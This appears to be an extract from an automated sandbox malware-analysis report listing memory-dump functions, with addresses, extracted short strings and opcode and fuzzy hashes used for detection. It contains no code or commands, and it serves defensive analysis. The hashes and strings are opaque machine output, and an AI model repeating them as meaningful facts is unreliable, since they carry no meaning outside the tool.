Source File: 00000003.00000002.1953805495.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d60000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df28885c94cc34ab2fe7f5ab99b27514f5dc61f2a36105fa64344d0a0981afd0
Instruction ID: 370c7658a92d2c0e0817a9d31327236baa6816d9cdfe5bfb75e193f4f7f08eb4
Opcode Fuzzy Hash: df28885c94cc34ab2fe7f5ab99b27514f5dc61f2a36105fa64344d0a0981afd0
Instruction Fuzzy Hash: F0A1F574E01218DFDB54CFAAD884BAEBBF2FF49300F20802AE419AB291D7759845CF44

Function 06D64288 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1953805495.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d60000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a131cc5658f06ca5ba04c500afaca24f77515ada71c5229fc3d8adce69c9f102
Instruction ID: 64bf75fd6addfdf60b0106182414fb0e56b329e077619e5e2ee9d6cb97f56dce
Opcode Fuzzy Hash: a131cc5658f06ca5ba04c500afaca24f77515ada71c5229fc3d8adce69c9f102
Instruction Fuzzy Hash: BBA1E774E04218DFDB54CFAAD884BAEBBF2FF49304F208029E419AB295D7759845CF44

Function 075FC619 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1981412830.00000000075F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_75f0000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ac6736a3881510853628ce0bf78a248b2a6c8b3f62b8eb146b6eb625d067104
Instruction ID: 8d0b69279045a4e23bbb0e9b491c1a95c1eea7f52848a969cfe7616489e9e538
Opcode Fuzzy Hash: 7ac6736a3881510853628ce0bf78a248b2a6c8b3f62b8eb146b6eb625d067104
Instruction Fuzzy Hash: 20818139309201CFC315DB68E4A4E6A7BF6FBC9741F169176D8068B395CB38AC42CB81

Function 07BED337 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1990388403.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7be0000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408eeec2e2113bcec818e2f80b476966d8ff3a5c5be987d75598b1ee4056982a
Instruction ID: f8cbadb42f5b88fb8edbd6453f60dd557b64612b87c4c2d52058c3fe9fc80690
Opcode Fuzzy Hash: 408eeec2e2113bcec818e2f80b476966d8ff3a5c5be987d75598b1ee4056982a
Instruction Fuzzy Hash: F38159B5709106CFE714DB54D054BAE77BBEBC8305F2691B5C4069B394DBB8AC82CB50

Function 075FC628 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1981412830.00000000075F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_75f0000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02ee5b29bfbfc0ba4a85bd8a51f3044a288dc0e624aab05f5250bac1e6d1771e
Instruction ID: b920ba0b6721d486fc4074836d121b962158ee76a428f8bdd81cfa99bdce254a
Opcode Fuzzy Hash: 02ee5b29bfbfc0ba4a85bd8a51f3044a288dc0e624aab05f5250bac1e6d1771e
Instruction Fuzzy Hash: 8F714139309205CFC315DB68E4A4E6A7BF6FBC8741F169176D8069B395DB38AC42CB81

Function 07C7ECB0 Relevance: 5.3, Strings: 4, Instructions: 264COMMON

Download Yara Rule

Strings

Hjq, xrefs: 07C7EF49
(jq, xrefs: 07C7EEE6
LRfq, xrefs: 07C7EE65
Hjq, xrefs: 07C7ED3E

Memory Dump Source

Source File: 00000003.00000002.1992007435.0000000007C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7c70000_TypeId.jbxd

Similarity

API ID:
String ID: (jq$Hjq$Hjq$LRfq
API String ID: 0-4195697156
Opcode ID: c835e2107deac725d754803eafd587e576a8d447439a5f58c74efdc51160e51e
Instruction ID: a86d3992bcba91df89c10d67621f4d4a3db0e706c6d75e8ca3d7ae223d775992
Opcode Fuzzy Hash: c835e2107deac725d754803eafd587e576a8d447439a5f58c74efdc51160e51e
Instruction Fuzzy Hash: EE8142727042214FCB49AB79945432E7BE7EFD5750B1884AAE50ACB3D6DF388C02C792

Function 06D50040 Relevance: 4.1, Strings: 3, Instructions: 370COMMON

Download Yara Rule

Strings

4'fq, xrefs: 06D5025A
4'fq, xrefs: 06D50339
4'fq, xrefs: 06D503B9

Memory Dump Source

Source File: 00000003.00000002.1952809028.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d50000_TypeId.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$4'fq
API String ID: 0-3646979650
Opcode ID: e899087907d89a48c7ddad4f734742a85005f3d7dccca5d46ee643195469e434
Instruction ID: b396f9c27b1801a8be80d5168ae6bfc35553f8c74c75505ce54e11027f0678d0
Opcode Fuzzy Hash: e899087907d89a48c7ddad4f734742a85005f3d7dccca5d46ee643195469e434
Instruction Fuzzy Hash: 5AF1DB34A00219DFCB04DFA4D998A9DB7B6FF88301F158558E806AB3A5DF31EC42CB90

Function 075F77F0 Relevance: 4.1, Strings: 3, Instructions: 360COMMON

Download Yara Rule

Strings

(jq, xrefs: 075F7919
Hjq, xrefs: 075F7971
(jq, xrefs: 075F7945

Memory Dump Source

Source File: 00000003.00000002.1981412830.00000000075F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_75f0000_TypeId.jbxd

Similarity

API ID:
String ID: (jq$(jq$Hjq
API String ID: 0-2836811127
Opcode ID: fbc8e9060cffbf34017b42edccdecda3fcce9e68ac9454deda617118a256bae8
Instruction ID: bc695dad298c6418baf98ea08a96352e92a54a1c70094b74113b5f755a5a40b0
Opcode Fuzzy Hash: fbc8e9060cffbf34017b42edccdecda3fcce9e68ac9454deda617118a256bae8
Instruction Fuzzy Hash: A6E13FB4A00609DFDB04EF64D49499EBBB2FFC9310F508569E905AB3A5DB30ED42CB91

Function 07BE472C Relevance: 3.8, Strings: 3, Instructions: 91COMMON

Download Yara Rule

Strings

@bfq, xrefs: 07BE8A52
$fq, xrefs: 07BE8A7F
$fq, xrefs: 07BE8A8F

Memory Dump Source

Source File: 00000003.00000002.1990388403.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7be0000_TypeId.jbxd

Similarity

API ID:
String ID: @bfq$$fq$$fq
API String ID: 0-3821510922
Opcode ID: bc807bec2e343a07ccaff0779b147e5a87b8848eb1034340dcf76c38a42d2387
Instruction ID: 8ca590d75c9864aae364bd6c7b834bc0fa757cbbdfc36659746b42757a6ca991
Opcode Fuzzy Hash: bc807bec2e343a07ccaff0779b147e5a87b8848eb1034340dcf76c38a42d2387
Instruction Fuzzy Hash: 0A314EB1E10919EFDB24CFA9D4846AEB7B9FF44304F14A5AAD405D7351DB34AE81CB80

Function 071D1508 Relevance: 3.1, Strings: 2, Instructions: 597COMMON

Download Yara Rule

Strings

4'fq, xrefs: 071D1C70
4'fq, xrefs: 071D1C64

Memory Dump Source

Source File: 00000003.00000002.1974969913.00000000071D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_71d0000_TypeId.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq
API String ID: 0-751858264
Opcode ID: da5e745632708dac21757c90f20bba096d4bd055fb072e3f621761b016a8db44
Instruction ID: cb45436bb62868ea4e84a040912a15c857cef55cdde2fbea632870947dcf6b07
Opcode Fuzzy Hash: da5e745632708dac21757c90f20bba096d4bd055fb072e3f621761b016a8db44
Instruction Fuzzy Hash: E802B6F5F1022ABBEF3A26B9445533B25DB9BC5640F070569D90ACB7D4DF348C01ABA2

Function 07BE6E90 Relevance: 2.9, Strings: 2, Instructions: 375COMMON

Download Yara Rule

Strings

$fq, xrefs: 07BE726F
$fq, xrefs: 07BE727F

Memory Dump Source

Source File: 00000003.00000002.1990388403.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7be0000_TypeId.jbxd

Similarity

API ID:
String ID: $fq$$fq
API String ID: 0-2537786760
Opcode ID: 5629193e9dab99d5532447117b4ea6a01bc6aee5c4e4080770172478a13b6d37
Instruction ID: 98672d4ea3b483b64e0900b658277bcd8b3c0a11bfe38c89ded94292d640a200
Opcode Fuzzy Hash: 5629193e9dab99d5532447117b4ea6a01bc6aee5c4e4080770172478a13b6d37
Instruction Fuzzy Hash: FEF158F0A0020A9FDB15DFA5C494A6EBBB6FF88300F14896DE40A9B755DF75A846CB40

Function 07BE536C Relevance: 2.8, Strings: 2, Instructions: 265COMMON

Download Yara Rule

Strings

:Dd, xrefs: 07BE5397
:Dd, xrefs: 07BE53B7

Memory Dump Source

Source File: 00000003.00000002.1990388403.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7be0000_TypeId.jbxd

Similarity

API ID:
String ID: :Dd$:Dd
API String ID: 0-2428669918
Opcode ID: 49e658f127cc28c54168400fdd5419eae4b9aa9aacb14cc2d9e8187ef864dd09
Instruction ID: 13c5ad792f997875003fcf95d0485ebac9c6329df47c48a2e5ab54eabf8ece40
Opcode Fuzzy Hash: 49e658f127cc28c54168400fdd5419eae4b9aa9aacb14cc2d9e8187ef864dd09
Instruction Fuzzy Hash: 11B12BF0E0021A8FEB20CFA8D98579DBBF5EF48319F248169E414E7354EB749855CB91

Function 07C7D23D Relevance: 2.7, Strings: 2, Instructions: 249COMMON

Download Yara Rule

Strings

:Dd, xrefs: 07C7D283
:Dd, xrefs: 07C7D2B2

Memory Dump Source

Source File: 00000003.00000002.1992007435.0000000007C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7c70000_TypeId.jbxd

Similarity

API ID:
String ID: :Dd$:Dd
API String ID: 0-2428669918
Opcode ID: ecc637e8bd9b4139a982c112a8f7f04be282fe875b16f49b55cb3c572fd88df8
Instruction ID: 1bed150dac49bf288ae4d865b42fa07da5a2014f07f7e2a707c380b6af98706c
Opcode Fuzzy Hash: ecc637e8bd9b4139a982c112a8f7f04be282fe875b16f49b55cb3c572fd88df8
Instruction Fuzzy Hash: B1A16EB1E0061ADFDB20CF68C8817DDBBB2FF48314F1485A9E819A7250DB759A85CF91

Function 07C7D248 Relevance: 2.7, Strings: 2, Instructions: 243COMMON

Download Yara Rule

Strings

:Dd, xrefs: 07C7D283
:Dd, xrefs: 07C7D2B2

Memory Dump Source

Source File: 00000003.00000002.1992007435.0000000007C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7c70000_TypeId.jbxd

Similarity

API ID:
String ID: :Dd$:Dd
API String ID: 0-2428669918
Opcode ID: d340305673296f227bad032d80aae97784e2bdc93c4209898d5dabf28ff5ea8f
Instruction ID: 922b9537dff7fcd4144b8639e0c3ff6132fc12e86b049f76cc35f2e7ad58503c
Opcode Fuzzy Hash: d340305673296f227bad032d80aae97784e2bdc93c4209898d5dabf28ff5ea8f
Instruction Fuzzy Hash: B0915DB1E0061ACFDB20CF68C8817DDBBB2FF48314F1481A9E819A7250DB759A85CF91

Function 07BE4759 Relevance: 2.7, Strings: 2, Instructions: 238COMMON

Download Yara Rule

Strings

:Dd, xrefs: 07BE479F
:Dd, xrefs: 07BE477F

Memory Dump Source

Source File: 00000003.00000002.1990388403.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7be0000_TypeId.jbxd

Similarity

API ID:
String ID: :Dd$:Dd
API String ID: 0-2428669918
Opcode ID: 39f8cc980b411964d2c8017d621e0a31f27a70f59d78a73d042a0bb1cc040633
Instruction ID: 2a43ae78b849aa48230d25913bba13b445a840969c1724c748dd4d7f0e46bea5
Opcode Fuzzy Hash: 39f8cc980b411964d2c8017d621e0a31f27a70f59d78a73d042a0bb1cc040633
Instruction Fuzzy Hash: 17916AF0E0028ADFEB10CFA9C98579DBBF6EF88314F148169E405A7394EB749845CB85

Function 07C78C18 Relevance: 2.7, Strings: 2, Instructions: 204COMMON

Download Yara Rule

Strings

:Dd, xrefs: 07C78C46
:Dd, xrefs: 07C78EFA

Memory Dump Source

Source File: 00000003.00000002.1992007435.0000000007C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7c70000_TypeId.jbxd

Similarity

API ID:
String ID: :Dd$:Dd
API String ID: 0-2428669918
Opcode ID: 0cf7d5f0a4c7f4c82d5ed405f4860e4995de535573db7cdb91e110f964440f3b
Instruction ID: 2e6ef7e6397b12d007c8268fc00a9eaf12543a91bc42982e4474b8e5feb32e64
Opcode Fuzzy Hash: 0cf7d5f0a4c7f4c82d5ed405f4860e4995de535573db7cdb91e110f964440f3b
Instruction Fuzzy Hash: 449125B4E10219CFDB24DFA8C8897EDBBB1BF48304F14856EE509A7290DB749A84CF51

Function 07C78C0C Relevance: 2.7, Strings: 2, Instructions: 186COMMON

Download Yara Rule

Strings

:Dd, xrefs: 07C78C75
:Dd, xrefs: 07C78C46

Memory Dump Source

Source File: 00000003.00000002.1992007435.0000000007C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7c70000_TypeId.jbxd

Similarity

API ID:
String ID: :Dd$:Dd
API String ID: 0-2428669918
Opcode ID: d07369e53fad5b171870dfb1bd70e245fe44a8ae05a024b5c1b7f873a1d133d7
Instruction ID: b83b7979d2e78ad3726e169b4d6b3506c6625124d144ba45fea4bf48286a3575
Opcode Fuzzy Hash: d07369e53fad5b171870dfb1bd70e245fe44a8ae05a024b5c1b7f873a1d133d7
Instruction Fuzzy Hash: 928125B0D10219CFDB24DFA8C8997EDBBB1BF48304F14856EE509A7290EB749A84CF51

Function 07BE8C04 Relevance: 2.7, Strings: 2, Instructions: 183COMMON

Download Yara Rule

Strings

:Dd, xrefs: 07BE8C6A
:Dd, xrefs: 07BE8C41

Memory Dump Source

Source File: 00000003.00000002.1990388403.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7be0000_TypeId.jbxd

Similarity

API ID:
String ID: :Dd$:Dd
API String ID: 0-2428669918
Opcode ID: a8cd563e0b28e2eb684bc4535caceffb64ad152a69302ad79fbe519754119aca
Instruction ID: 93d4a40d96c7cd35cd216ad7188822a94f4622b65bf22e438e243a7c5ac234e5
Opcode Fuzzy Hash: a8cd563e0b28e2eb684bc4535caceffb64ad152a69302ad79fbe519754119aca
Instruction Fuzzy Hash: AB7114B1E00619DFDB10CFA9C881BDEBBBAFF48300F14816AE415AB254DB749945CF91

Function 07BE50E4 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

:Dd, xrefs: 07BE510F
:Dd, xrefs: 07BE512F

Memory Dump Source

Source File: 00000003.00000002.1990388403.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7be0000_TypeId.jbxd

Similarity

API ID:
String ID: :Dd$:Dd
API String ID: 0-2428669918
Opcode ID: 64ea760f4ed2af4a8fa2af83dabc8ab9d42a3f6e4c02d5e97100a305b10b10eb
Instruction ID: c0a9378e436b95e3b77795048d2366b4494b97a96a670750fc53a38ad4038224
Opcode Fuzzy Hash: 64ea760f4ed2af4a8fa2af83dabc8ab9d42a3f6e4c02d5e97100a305b10b10eb
Instruction Fuzzy Hash: 9F7149F0E0020ADFEB24CFA9D84579EBBF6EF88318F148169E415A7354EB749851CB91

Function 07BE8C10 Relevance: 2.7, Strings: 2, Instructions: 180COMMON

Download Yara Rule

Strings

:Dd, xrefs: 07BE8C6A
:Dd, xrefs: 07BE8C41

Memory Dump Source

Source File: 00000003.00000002.1990388403.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7be0000_TypeId.jbxd

Similarity

API ID:
String ID: :Dd$:Dd
API String ID: 0-2428669918
Opcode ID: de4cce42e2f3a824de39c2081c78dd18d606039132b56b4bc1579a103d6586a2
Instruction ID: 5cac805afce31cf1ad74abb0d681ca100482e2f1a30eb432aa0b1957cfb635f1
Opcode Fuzzy Hash: de4cce42e2f3a824de39c2081c78dd18d606039132b56b4bc1579a103d6586a2
Instruction Fuzzy Hash: 1C7127B0E00619DFEB10CFA9C895B9DBBBAFF48300F14816AE419AB354DB749945CF91

Function 07BE50F0 Relevance: 2.7, Strings: 2, Instructions: 180COMMON

Download Yara Rule

Strings

:Dd, xrefs: 07BE510F
:Dd, xrefs: 07BE512F

Memory Dump Source

Source File: 00000003.00000002.1990388403.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7be0000_TypeId.jbxd

Similarity

API ID:
String ID: :Dd$:Dd
API String ID: 0-2428669918
Opcode ID: c132f287a9ead5cb0ba93b30b24a9929866ccf738138797a25262e1e6e4caeb1
Instruction ID: db6037d086e4d5db371090eafdb6dd44f4895092e92772594622605d65163b2e
Opcode Fuzzy Hash: c132f287a9ead5cb0ba93b30b24a9929866ccf738138797a25262e1e6e4caeb1
Instruction Fuzzy Hash: D07139F0E00209DFEB24CFA9C98579EBBF6EF88318F148069E415A7354EB749851CB91

Function 07A70B8B Relevance: 2.6, Strings: 2, Instructions: 150COMMON

Download Yara Rule

Strings

PHfq, xrefs: 07A70E19
`Qfq, xrefs: 07A70BFC

Memory Dump Source

Source File: 00000003.00000002.1982215807.0000000007A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a70000_TypeId.jbxd

Similarity

API ID:
String ID: PHfq$`Qfq
API String ID: 0-814193904
Opcode ID: 1d0dad788079c819dd73b7dec177c6fc770630bd0de11257fa72d1ead638d951
Instruction ID: 7f41ad545325a0d5cdca231643b8bdd3b9e38c81e7cf037326fd4ff850e285b1
Opcode Fuzzy Hash: 1d0dad788079c819dd73b7dec177c6fc770630bd0de11257fa72d1ead638d951
Instruction Fuzzy Hash: A17139B4E04229CBDB64DF21CC597AEBBB5BF89304F5085D9D41AA72A0DB740E89CF40

Function 07BE438F Relevance: 2.6, Strings: 2, Instructions: 123COMMON

Download Yara Rule

Strings

:Dd, xrefs: 07BEA1ED
:Dd, xrefs: 07BEA1CD

Memory Dump Source

Source File: 00000003.00000002.1990388403.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7be0000_TypeId.jbxd

Similarity

API ID:
String ID: :Dd$:Dd
API String ID: 0-2428669918
Opcode ID: c74f8dcf3d9f40114e9ef2b75b6960060c63d143820cd65f0c14720b4e08a51f
Instruction ID: de9f24806fe784b19e0d43d58c770ab9ae3679782b8f799ec073736b9f19d4c7
Opcode Fuzzy Hash: c74f8dcf3d9f40114e9ef2b75b6960060c63d143820cd65f0c14720b4e08a51f
Instruction Fuzzy Hash: F84133B1E00218AFDB10DF99C884ADEBBB9FF48310F14841AE819AB350DB74A945CF91

Function 06D540E2 Relevance: 2.6, Strings: 2, Instructions: 104COMMON

Download Yara Rule

Strings

4'fq, xrefs: 06D54122
G, xrefs: 06D5408E

Memory Dump Source

Source File: 00000003.00000002.1952809028.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d50000_TypeId.jbxd

Similarity

API ID:
String ID: 4'fq$G
API String ID: 0-266766369
Opcode ID: 3e6d90d8369fcd909f9d2552b8830298df006a718b245f428c4a477b3a4be2bf
Instruction ID: 7a46e9caf68b2f3db0809b6c85cfce27ff5fa651d893eb87daaaf896fa624c3f
Opcode Fuzzy Hash: 3e6d90d8369fcd909f9d2552b8830298df006a718b245f428c4a477b3a4be2bf
Instruction Fuzzy Hash: D3311234B002548BCF55AB69C86467EBBEAEFC8701F11402DD806DB395CF709C45D792

Function 07C7EA2C Relevance: 2.6, Strings: 2, Instructions: 102COMMON

Download Yara Rule

Strings

:Dd, xrefs: 07C7EA5A
:Dd, xrefs: 07C7EA7A

Memory Dump Source

Source File: 00000003.00000002.1992007435.0000000007C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7c70000_TypeId.jbxd

Similarity

API ID:
String ID: :Dd$:Dd
API String ID: 0-2428669918
Opcode ID: d1a049d7b64ba860ba8453153b9212a23edce24bfe8219a56a9da2e67dc6d86c
Instruction ID: e11a6bdbc91808e5017c66afd12b277b77e4cc84edb711d5eb066489b1ed9cf5
Opcode Fuzzy Hash: d1a049d7b64ba860ba8453153b9212a23edce24bfe8219a56a9da2e67dc6d86c
Instruction Fuzzy Hash: 8A4144B2D002599FDB21CFA9C885B9EBFF1FF48310F14816AE815AB250DB749842CF95

Function 07C7EA38 Relevance: 2.6, Strings: 2, Instructions: 98COMMON

Download Yara Rule

Strings

:Dd, xrefs: 07C7EA5A
:Dd, xrefs: 07C7EA7A

Memory Dump Source

Source File: 00000003.00000002.1992007435.0000000007C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7c70000_TypeId.jbxd

Similarity

API ID:
String ID: :Dd$:Dd
API String ID: 0-2428669918
Opcode ID: b889967f341dcfff77e9f4031e61d6ae8fd1bb883b20f2565847d0b6f2749177
Instruction ID: 380430cbb50170c99af0e869a107190923fc39c3fb3e9632f1bcea2eaaa6c4a1
Opcode Fuzzy Hash: b889967f341dcfff77e9f4031e61d6ae8fd1bb883b20f2565847d0b6f2749177
Instruction Fuzzy Hash: 484142B2D002599FDB10CFA9C885B9EBFF5FF48310F14816AE815AB250DB74A841CF95

Function 07BE1B56 Relevance: 2.6, Strings: 2, Instructions: 91COMMON

Download Yara Rule

Strings

:Dd, xrefs: 07BE1B82
:Dd, xrefs: 07BE1BA2

Memory Dump Source

Source File: 00000003.00000002.1990388403.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7be0000_TypeId.jbxd

Similarity

API ID:
String ID: :Dd$:Dd
API String ID: 0-2428669918
Opcode ID: e382f8c48aafdb0989d7e6f87a56fd1375e419a82784edd753591eea965c9d5a
Instruction ID: 88dc5b7d12036dd187aa79f30d1c4da1aa474f252a793dc4719e88cd9b22ec47
Opcode Fuzzy Hash: e382f8c48aafdb0989d7e6f87a56fd1375e419a82784edd753591eea965c9d5a
Instruction Fuzzy Hash: 543102B0D0024D9FEB14CFA9C895B9EBBF9EB08314F248169E815AB380D7749485CF92

Function 07BE1B60 Relevance: 2.6, Strings: 2, Instructions: 86COMMON

Download Yara Rule

Strings

:Dd, xrefs: 07BE1B82
:Dd, xrefs: 07BE1BA2

Memory Dump Source

Source File: 00000003.00000002.1990388403.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7be0000_TypeId.jbxd

Similarity

API ID:
String ID: :Dd$:Dd
API String ID: 0-2428669918
Opcode ID: e053a5bcd755577d433f0e768f5199e1170749f43b2d05364ebd269837aa6953
Instruction ID: 9834d30eb42d5d13464a3431058ae9b1ca497abb7522df6fd3a73be53e2f2aad
Opcode Fuzzy Hash: e053a5bcd755577d433f0e768f5199e1170749f43b2d05364ebd269837aa6953
Instruction Fuzzy Hash: B33112B0D0024D9FEB14CFA9C885B9EBBF9EB08314F248169E815EB380D7749481CF92

Function 07C710B0 Relevance: 2.0, Strings: 1, Instructions: 724COMMON

Download Yara Rule

Strings

LRfq, xrefs: 07C71219

Memory Dump Source

Source File: 00000003.00000002.1992007435.0000000007C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7c70000_TypeId.jbxd

Similarity

API ID:
String ID: LRfq
API String ID: 0-2333822924
Opcode ID: 8254e6c51560f47ad4f1a76d92fa31d039d4fd00147e14cd56e53c6bb0255f4d
Instruction ID: 0c4fa56e56b3001c26a9c9d6f0fb76cca16111e2d828cd38fb2df705c7f9b921
Opcode Fuzzy Hash: 8254e6c51560f47ad4f1a76d92fa31d039d4fd00147e14cd56e53c6bb0255f4d
Instruction Fuzzy Hash: 906239B8A00619CFCB25CF75C584BAABBF6FF89304F188559D89AD7254DB34A941CF80

Function 06D50F20 Relevance: 1.9, Strings: 1, Instructions: 677COMMON

Download Yara Rule

Strings

,jq, xrefs: 06D5129B

Memory Dump Source

Source File: 00000003.00000002.1952809028.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d50000_TypeId.jbxd

Similarity

API ID:
String ID: ,jq
API String ID: 0-1538246120
Opcode ID: 6b71fcab710b7a9397df179389446489700d783adfe60bf2dcd34c899a2be6ca
Instruction ID: cf8cab36b65b569f1fd8cb3bb9e35e678f2348a9a32bfa38206eebe7f23fa914
Opcode Fuzzy Hash: 6b71fcab710b7a9397df179389446489700d783adfe60bf2dcd34c899a2be6ca
Instruction Fuzzy Hash: 275219B5A002288FDB64DF69C980BDDBBF6BF88700F1581D9E949A7351DA309D80CF61

Function 07C766F0 Relevance: 1.8, Strings: 1, Instructions: 524COMMON

Download Yara Rule

Strings

, xrefs: 07C76C9F

Memory Dump Source

Source File: 00000003.00000002.1992007435.0000000007C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7c70000_TypeId.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 0ab7df860294b20f0eff6939d1b43dc0fece76715854fb5cc8bc0da3fecdba28
Instruction ID: f352410492cac37231467cf37245a94a277134e7509a76e195ba5625c0fb60e1
Opcode Fuzzy Hash: 0ab7df860294b20f0eff6939d1b43dc0fece76715854fb5cc8bc0da3fecdba28
Instruction Fuzzy Hash: 652239B5600A06CFCB25CF79C584AAEB7F5FF49304F10456AD45AEB250DB34EA82CB91

Function 07C7DCA0 Relevance: 1.6, Strings: 1, Instructions: 306COMMON

Download Yara Rule

Strings

:Dd, xrefs: 07C7E71D

Memory Dump Source

Source File: 00000003.00000002.1992007435.0000000007C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7c70000_TypeId.jbxd

Similarity

API ID:
String ID: :Dd
API String ID: 0-3059822811
Opcode ID: 7bf37cbd6763f2ecaa0e5c8bcd1adb9813f6f4a9800397339ee6830c2161624b
Instruction ID: 6fcf607d1fb2d039ddc6da791f30cf85e037dca8d2c28bf46c7008e0cb21300a
Opcode Fuzzy Hash: 7bf37cbd6763f2ecaa0e5c8bcd1adb9813f6f4a9800397339ee6830c2161624b
Instruction Fuzzy Hash: 14B1BBB1A002599FCB14DFB9C894BAEBBF2AF88310F1444A9D409EB391DF349D05CB91

Function 06D50006 Relevance: 1.5, Strings: 1, Instructions: 244COMMON

Download Yara Rule

Strings

4'fq, xrefs: 06D5025A

Memory Dump Source

Source File: 00000003.00000002.1952809028.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d50000_TypeId.jbxd

Similarity

API ID:
String ID: 4'fq
API String ID: 0-2007657732
Opcode ID: 411b01a32a3e2daeeb5c06b42d10a1e8d67c3eb0d81de4030eb0d1422b1c9f1f
Instruction ID: 1fe74dd029869943f7a028439d6cc60caf107253c49c094243f845309fdc7726
Opcode Fuzzy Hash: 411b01a32a3e2daeeb5c06b42d10a1e8d67c3eb0d81de4030eb0d1422b1c9f1f
Instruction Fuzzy Hash: 6CB14F34A00219DFCB44EFA4D898D9DBBB6FF89301F168559E805AB365DF30AC46CB90

